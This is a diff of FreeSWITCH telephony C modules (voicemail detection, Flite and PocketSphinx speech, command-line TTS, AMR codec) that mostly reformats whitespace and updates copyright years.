|
||||
argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
|
||||
/* Duplicated contents of original string */
|
||||
ccmd = strdup(cmd);
|
||||
/* Separate the arguments */
|
||||
argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
|
||||
|
||||
/* If we don't have the expected number of parameters
|
||||
* display usage */
|
||||
if (argc != VMD_PARAMS) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
/* If we don't have the expected number of parameters
|
||||
* display usage */
|
||||
if (argc != VMD_PARAMS) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
uuid = argv[0];
|
||||
command = argv[1];
|
||||
uuid = argv[0];
|
||||
command = argv[1];
|
||||
|
||||
/* using uuid locate a reference to the FreeSWITCH session */
|
||||
vmd_session = switch_core_session_locate(uuid);
|
||||
/* using uuid locate a reference to the FreeSWITCH session */
|
||||
vmd_session = switch_core_session_locate(uuid);
|
||||
|
||||
/* If the session was not found exit */
|
||||
if (vmd_session == NULL) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
/* If the session was not found exit */
|
||||
if (vmd_session == NULL) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
/* Get current channel of the session to tag the session
|
||||
* This indicates that our module is present */
|
||||
channel = switch_core_session_get_channel(vmd_session);
|
||||
/* Get current channel of the session to tag the session
|
||||
* This indicates that our module is present */
|
||||
channel = switch_core_session_get_channel(vmd_session);
|
||||
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(command, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_vmd_", NULL);
|
||||
switch_core_media_bug_remove(vmd_session, &bug);
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "+OK\n");
|
||||
/* Is this channel already set? */
|
||||
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
|
||||
/* If yes */
|
||||
if (bug != NULL) {
|
||||
/* If we have a stop remove audio bug */
|
||||
if (strcasecmp(command, "stop") == 0) {
|
||||
switch_channel_set_private(channel, "_vmd_", NULL);
|
||||
switch_core_media_bug_remove(vmd_session, &bug);
|
||||
switch_safe_free(ccmd);
|
||||
stream->write_function(stream, "+OK\n");
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
/* We have already started */
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
/* If we don't see the expected start exit */
|
||||
if (strcasecmp(command, "start") != 0) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
/* If we don't see the expected start exit */
|
||||
if (strcasecmp(command, "start") != 0) {
|
||||
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
/* Allocate memory attached to this FreeSWITCH session for
|
||||
* use in the callback routine and to store state information */
|
||||
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
|
||||
);
|
||||
/* Allocate memory attached to this FreeSWITCH session for
|
||||
* use in the callback routine and to store state information */
|
||||
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
|
||||
);
|
||||
|
||||
/* Set initial values and states */
|
||||
vmd_info->state = BEEP_NOT_DETECTED;
|
||||
vmd_info->session = vmd_session;
|
||||
vmd_info->pos = 0;
|
||||
/* Set initial values and states */
|
||||
vmd_info->state = BEEP_NOT_DETECTED;
|
||||
vmd_info->session = vmd_session;
|
||||
vmd_info->pos = 0;
|
||||
/*
|
||||
vmd_info->data = NULL;
|
||||
vmd_info->data_len = 0;
|
||||
*/
|
||||
|
||||
for (i = 0; i < POINTS; i++) {
|
||||
vmd_info->points[i].freq = 0.0;
|
||||
vmd_info->points[i].ampl = 0.0;
|
||||
}
|
||||
for (i = 0; i < POINTS; i++) {
|
||||
vmd_info->points[i].freq = 0.0;
|
||||
vmd_info->points[i].ampl = 0.0;
|
||||
}
|
||||
|
||||
/* Add a media bug that allows me to intercept the
|
||||
* reading leg of the audio stream */
|
||||
status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
|
||||
/* Add a media bug that allows me to intercept the
|
||||
* reading leg of the audio stream */
|
||||
status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
|
||||
|
||||
/* If adding a media bug fails exit */
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
goto end;
|
||||
}
|
||||
/* If adding a media bug fails exit */
|
||||
if (status != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
|
||||
goto end;
|
||||
}
|
||||
|
||||
/* Set the vmd tag to detect an existing vmd media bug */
|
||||
switch_channel_set_private(channel, "_vmd_", bug);
|
||||
/* Set the vmd tag to detect an existing vmd media bug */
|
||||
switch_channel_set_private(channel, "_vmd_", bug);
|
||||
|
||||
/* Everything went according to plan! Notify the user */
|
||||
stream->write_function(stream, "+OK\n");
|
||||
/* Everything went according to plan! Notify the user */
|
||||
stream->write_function(stream, "+OK\n");
|
||||
|
||||
|
||||
end:
|
||||
end:
|
||||
|
||||
if (vmd_session) {
|
||||
switch_core_session_rwunlock(vmd_session);
|
||||
}
|
||||
|
||||
switch_safe_free(ccmd);
|
||||
switch_safe_free(ccmd);
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -71,7 +71,7 @@ static switch_status_t flite_speech_open(switch_speech_handle_t *sh, const char
|
||||
flite_t *flite = switch_core_alloc(sh->memory_pool, sizeof(*flite));
|
||||
|
||||
sh->native_rate = 16000;
|
||||
|
||||
|
||||
if (!strcasecmp(voice_name, "awb")) {
|
||||
flite->v = globals.awb;
|
||||
} else if (!strcasecmp(voice_name, "kal")) {
|
||||
@@ -108,9 +108,9 @@ static switch_status_t flite_speech_close(switch_speech_handle_t *sh, switch_spe
|
||||
static switch_status_t flite_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
|
||||
{
|
||||
flite_t *flite = (flite_t *) sh->private_info;
|
||||
|
||||
|
||||
flite->w = flite_text_to_wave(text, flite->v);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -128,10 +128,10 @@ static switch_status_t flite_speech_read_tts(switch_speech_handle_t *sh, void *d
|
||||
{
|
||||
size_t bytes_read;
|
||||
flite_t *flite = (flite_t *) sh->private_info;
|
||||
|
||||
|
||||
if (!flite->audio_buffer) {
|
||||
int32_t len;
|
||||
|
||||
|
||||
if (flite->w) {
|
||||
len = flite->w->num_samples * 2;
|
||||
} else {
|
||||
@@ -146,28 +146,28 @@ static switch_status_t flite_speech_read_tts(switch_speech_handle_t *sh, void *d
|
||||
switch_buffer_write(flite->audio_buffer, flite->w->samples, flite->w->num_samples * 2);
|
||||
free_wave(flite->w);
|
||||
}
|
||||
|
||||
|
||||
if ((bytes_read = switch_buffer_read(flite->audio_buffer, data, *datalen))) {
|
||||
*datalen = bytes_read;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
static void flite_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
|
||||
{
|
||||
|
||||
|
||||
}
|
||||
|
||||
static void flite_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
|
||||
{
|
||||
|
||||
|
||||
}
|
||||
|
||||
static void flite_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
|
||||
{
|
||||
|
||||
|
||||
}
|
||||
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load)
|
||||
@@ -179,7 +179,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load)
|
||||
globals.kal = register_cmu_us_kal();
|
||||
globals.rms = register_cmu_us_rms();
|
||||
globals.slt = register_cmu_us_slt();
|
||||
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
speech_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_SPEECH_INTERFACE);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -87,23 +87,23 @@ static switch_status_t pocketsphinx_asr_open(switch_asr_handle_t *ah, const char
|
||||
if (!(ps = (pocketsphinx_t *) switch_core_alloc(ah->memory_pool, sizeof(*ps)))) {
|
||||
return SWITCH_STATUS_MEMERR;
|
||||
}
|
||||
|
||||
|
||||
switch_mutex_init(&ps->flag_mutex, SWITCH_MUTEX_NESTED, ah->memory_pool);
|
||||
ah->private_info = ps;
|
||||
|
||||
if (rate == 8000) {
|
||||
if (rate == 8000) {
|
||||
ah->rate = 8000;
|
||||
} else if (rate == 16000) {
|
||||
ah->rate = 16000;
|
||||
} else {
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid rate %d. Only 8000 and 16000 are supported.\n", rate);
|
||||
}
|
||||
|
||||
codec = "L16";
|
||||
|
||||
ah->codec = switch_core_strdup(ah->memory_pool, codec);
|
||||
ah->codec = switch_core_strdup(ah->memory_pool, codec);
|
||||
|
||||
|
||||
|
||||
ps->thresh = globals.thresh;
|
||||
ps->silence_hits = globals.silence_hits;
|
||||
ps->listen_hits = globals.listen_hits;
|
||||
@@ -139,34 +139,28 @@ static switch_status_t pocketsphinx_asr_load_grammar(switch_asr_handle_t *ah, co
|
||||
dic = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, globals.dictionary);
|
||||
|
||||
if (switch_file_exists(dic, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
|
||||
goto end;
|
||||
}
|
||||
|
||||
if (switch_file_exists(model, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
|
||||
goto end;
|
||||
}
|
||||
|
||||
if (switch_file_exists(jsgf, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
|
||||
goto end;
|
||||
}
|
||||
|
||||
rate = switch_mprintf("%d", ah->rate);
|
||||
rate = switch_mprintf("%d", ah->rate);
|
||||
|
||||
switch_assert(jsgf && dic && model);
|
||||
|
||||
|
||||
ps->config = cmd_ln_init(ps->config, ps_args(), FALSE,
|
||||
"-samprate", rate,
|
||||
"-hmm", model,
|
||||
"-jsgf", jsgf,
|
||||
"-lw", globals.language_weight,
|
||||
"-dict", dic,
|
||||
"-frate", "50",
|
||||
"-silprob", "0.005",
|
||||
NULL);
|
||||
|
||||
"-hmm", model, "-jsgf", jsgf, "-lw", globals.language_weight, "-dict", dic, "-frate", "50", "-silprob", "0.005", NULL);
|
||||
|
||||
if (ps->config == NULL) {
|
||||
status = SWITCH_STATUS_GENERR;
|
||||
goto end;
|
||||
@@ -185,19 +179,19 @@ static switch_status_t pocketsphinx_asr_load_grammar(switch_asr_handle_t *ah, co
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
|
||||
ps_start_utt(ps->ps, NULL);
|
||||
switch_set_flag(ps, PSFLAG_READY);
|
||||
switch_set_flag(ps, PSFLAG_READY);
|
||||
switch_safe_free(ps->grammar);
|
||||
ps->grammar = strdup(grammar);
|
||||
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
end:
|
||||
|
||||
end:
|
||||
|
||||
switch_safe_free(rate);
|
||||
switch_safe_free(jsgf);
|
||||
switch_safe_free(dic);
|
||||
switch_safe_free(model);
|
||||
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
@@ -224,7 +218,7 @@ static switch_status_t pocketsphinx_asr_close(switch_asr_handle_t *ah, switch_as
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
|
||||
switch_clear_flag(ps, PSFLAG_READY);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
|
||||
switch_set_flag(ah, SWITCH_ASR_FLAG_CLOSED);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -233,7 +227,7 @@ static switch_bool_t stop_detect(pocketsphinx_t *ps, int16_t *data, unsigned int
|
||||
{
|
||||
uint32_t score, count = 0, j = 0;
|
||||
double energy = 0;
|
||||
|
||||
|
||||
if (ps->countdown) {
|
||||
if (!--ps->countdown) {
|
||||
ps->silence_hits = ps->org_silence_hits;
|
||||
@@ -242,12 +236,12 @@ static switch_bool_t stop_detect(pocketsphinx_t *ps, int16_t *data, unsigned int
|
||||
}
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
for (count = 0; count < samples; count++) {
|
||||
energy += abs(data[j]);
|
||||
}
|
||||
|
||||
|
||||
score = (uint32_t) (energy / samples);
|
||||
|
||||
if (score >= ps->thresh) {
|
||||
@@ -274,20 +268,21 @@ static switch_status_t pocketsphinx_asr_feed(switch_asr_handle_t *ah, void *data
|
||||
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
|
||||
int rv = 0;
|
||||
|
||||
if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED)) return SWITCH_STATUS_BREAK;
|
||||
|
||||
if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED))
|
||||
return SWITCH_STATUS_BREAK;
|
||||
|
||||
if (!switch_test_flag(ps, PSFLAG_HAS_TEXT) && switch_test_flag(ps, PSFLAG_READY)) {
|
||||
if (stop_detect(ps, (int16_t *)data, len / 2)) {
|
||||
if (stop_detect(ps, (int16_t *) data, len / 2)) {
|
||||
char const *hyp;
|
||||
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
|
||||
if (!zstr(hyp)) {
|
||||
ps_end_utt(ps->ps);
|
||||
switch_clear_flag(ps, PSFLAG_READY);
|
||||
if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
|
||||
if (zstr(hyp)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
|
||||
ps_start_utt(ps->ps, NULL);
|
||||
switch_set_flag(ps, PSFLAG_READY);
|
||||
} else {
|
||||
@@ -303,7 +298,7 @@ static switch_status_t pocketsphinx_asr_feed(switch_asr_handle_t *ah, void *data
|
||||
/* only feed ps_process_raw when we are listening */
|
||||
if (ps->listening) {
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
rv = ps_process_raw(ps->ps, (int16 *)data, len / 2 , FALSE, FALSE);
|
||||
rv = ps_process_raw(ps->ps, (int16 *) data, len / 2, FALSE, FALSE);
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
}
|
||||
|
||||
@@ -321,13 +316,13 @@ static switch_status_t pocketsphinx_asr_pause(switch_asr_handle_t *ah)
|
||||
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
|
||||
switch_status_t status = SWITCH_STATUS_FALSE;
|
||||
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
if (switch_test_flag(ps, PSFLAG_READY)) {
|
||||
ps_end_utt(ps->ps);
|
||||
switch_clear_flag(ps, PSFLAG_READY);
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -337,19 +332,19 @@ static switch_status_t pocketsphinx_asr_resume(switch_asr_handle_t *ah)
|
||||
{
|
||||
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
|
||||
switch_status_t status = SWITCH_STATUS_FALSE;
|
||||
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
|
||||
if (!switch_test_flag(ps, PSFLAG_READY)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
|
||||
|
||||
if (!switch_test_flag(ps, PSFLAG_READY)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
|
||||
|
||||
if (ps_start_utt(ps->ps, NULL)) {
|
||||
status = SWITCH_STATUS_GENERR;
|
||||
} else {
|
||||
switch_set_flag(ps, PSFLAG_READY);
|
||||
switch_set_flag(ps, PSFLAG_READY);
|
||||
}
|
||||
}
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -365,7 +360,7 @@ static switch_status_t pocketsphinx_asr_check_results(switch_asr_handle_t *ah, s
|
||||
/*! function to read results from the ASR*/
|
||||
static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
|
||||
{
|
||||
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
|
||||
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
int32_t conf;
|
||||
|
||||
@@ -375,7 +370,7 @@ static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, cha
|
||||
}
|
||||
|
||||
if (switch_test_flag(ps, PSFLAG_HAS_TEXT)) {
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
switch_mutex_lock(ps->flag_mutex);
|
||||
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
|
||||
conf = ps_get_prob(ps->ps, &ps->uttid);
|
||||
|
||||
@@ -386,20 +381,18 @@ static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, cha
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recognized: %s, Confidence: %d\n", ps->hyp, ps->confidence);
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
switch_mutex_unlock(ps->flag_mutex);
|
||||
|
||||
*xmlstr = switch_mprintf("<?xml version=\"1.0\"?>\n"
|
||||
"<result grammar=\"%s\">\n"
|
||||
" <interpretation grammar=\"%s\" confidence=\"%d\">\n"
|
||||
" <input mode=\"speech\">%s</input>\n"
|
||||
" </interpretation>\n"
|
||||
"</result>\n",
|
||||
ps->grammar, ps->grammar, ps->confidence, ps->hyp);
|
||||
" </interpretation>\n" "</result>\n", ps->grammar, ps->grammar, ps->confidence, ps->hyp);
|
||||
|
||||
if (switch_test_flag(ps, SWITCH_ASR_FLAG_AUTO_RESUME)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Auto Resuming\n");
|
||||
switch_set_flag(ps, PSFLAG_READY);
|
||||
|
||||
|
||||
ps_start_utt(ps->ps, NULL);
|
||||
}
|
||||
|
||||
@@ -467,7 +460,7 @@ static switch_status_t load_config(void)
|
||||
globals.language_weight = switch_core_strdup(globals.pool, "6.5");
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
if (xml) {
|
||||
switch_xml_free(xml);
|
||||
}
|
||||
@@ -495,7 +488,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_pocketsphinx_load)
|
||||
switch_asr_interface_t *asr_interface;
|
||||
|
||||
switch_mutex_init(&MUTEX, SWITCH_MUTEX_NESTED, pool);
|
||||
|
||||
|
||||
globals.pool = pool;
|
||||
|
||||
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
|
||||
|
||||
@@ -76,7 +76,7 @@ static int load_tts_commandline_config(void)
|
||||
}
|
||||
|
||||
if (zstr(globals.command)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
|
||||
}
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -96,7 +96,7 @@ static switch_status_t tts_commandline_speech_open(switch_speech_handle_t *sh, c
|
||||
switch_uuid_t uuid;
|
||||
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
|
||||
char outfile[512] = "";
|
||||
|
||||
|
||||
tts_commandline_t *info = switch_core_alloc(sh->memory_pool, sizeof(*info));
|
||||
|
||||
info->voice_name = switch_core_strdup(sh->memory_pool, voice_name);
|
||||
@@ -107,11 +107,11 @@ static switch_status_t tts_commandline_speech_open(switch_speech_handle_t *sh, c
|
||||
switch_uuid_format(uuid_str, &uuid);
|
||||
switch_snprintf(outfile, sizeof(outfile), "%s%s.tmp.wav", SWITCH_GLOBAL_dirs.temp_dir, uuid_str);
|
||||
info->file = switch_core_strdup(sh->memory_pool, outfile);
|
||||
|
||||
|
||||
info->fh = (switch_file_handle_t *) switch_core_alloc(sh->memory_pool, sizeof(switch_file_handle_t));
|
||||
|
||||
|
||||
sh->private_info = info;
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -119,7 +119,7 @@ static switch_status_t tts_commandline_speech_close(switch_speech_handle_t *sh,
|
||||
{
|
||||
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
|
||||
assert(info != NULL);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -129,37 +129,35 @@ static switch_status_t tts_commandline_speech_feed_tts(switch_speech_handle_t *s
|
||||
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
|
||||
|
||||
assert(info != NULL);
|
||||
|
||||
|
||||
message = switch_core_strdup(sh->memory_pool, globals.command);
|
||||
|
||||
|
||||
tmp = switch_util_quote_shell_arg(text);
|
||||
message = switch_string_replace(message, "${text}", tmp);
|
||||
|
||||
|
||||
tmp = switch_util_quote_shell_arg(info->voice_name);
|
||||
message = switch_string_replace(message, "${voice}", tmp);
|
||||
|
||||
|
||||
rate = switch_core_sprintf(sh->memory_pool, "%d", info->rate);
|
||||
message = switch_string_replace(message, "${rate}", rate);
|
||||
|
||||
|
||||
tmp = switch_util_quote_shell_arg(info->file);
|
||||
message = switch_string_replace(message, "${file}", tmp);
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Executing: %s\n", message);
|
||||
|
||||
|
||||
if (switch_system(message, SWITCH_TRUE) < 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
if (switch_core_file_open(info->fh,
|
||||
info->file,
|
||||
0, //number_of_channels,
|
||||
0, //samples_per_second,
|
||||
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
if (switch_core_file_open(info->fh, info->file, 0, //number_of_channels,
|
||||
0, //samples_per_second,
|
||||
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
sh->private_info = info;
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -170,8 +168,8 @@ static switch_status_t tts_commandline_speech_read_tts(switch_speech_handle_t *s
|
||||
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
|
||||
size_t my_datalen = *datalen / 2;
|
||||
|
||||
assert(info != NULL);
|
||||
|
||||
assert(info != NULL);
|
||||
|
||||
if (switch_core_file_read(info->fh, data, &my_datalen) != SWITCH_STATUS_SUCCESS) {
|
||||
*datalen = my_datalen * 2;
|
||||
return SWITCH_STATUS_FALSE;
|
||||
@@ -188,7 +186,7 @@ static void tts_commandline_speech_flush_tts(switch_speech_handle_t *sh)
|
||||
{
|
||||
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
|
||||
assert(info != NULL);
|
||||
|
||||
|
||||
switch_core_file_close(info->fh);
|
||||
if (unlink(info->file) != 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Sound file [%s] delete failed\n", info->file);
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -250,7 +250,8 @@ static switch_status_t switch_amr_encode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
#ifdef AMR_PASSTHROUGH
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
|
||||
@@ -272,7 +273,8 @@ static switch_status_t switch_amr_decode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *encoded_data,
|
||||
uint32_t encoded_data_len,
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
#ifdef AMR_PASSTHROUGH
|
||||
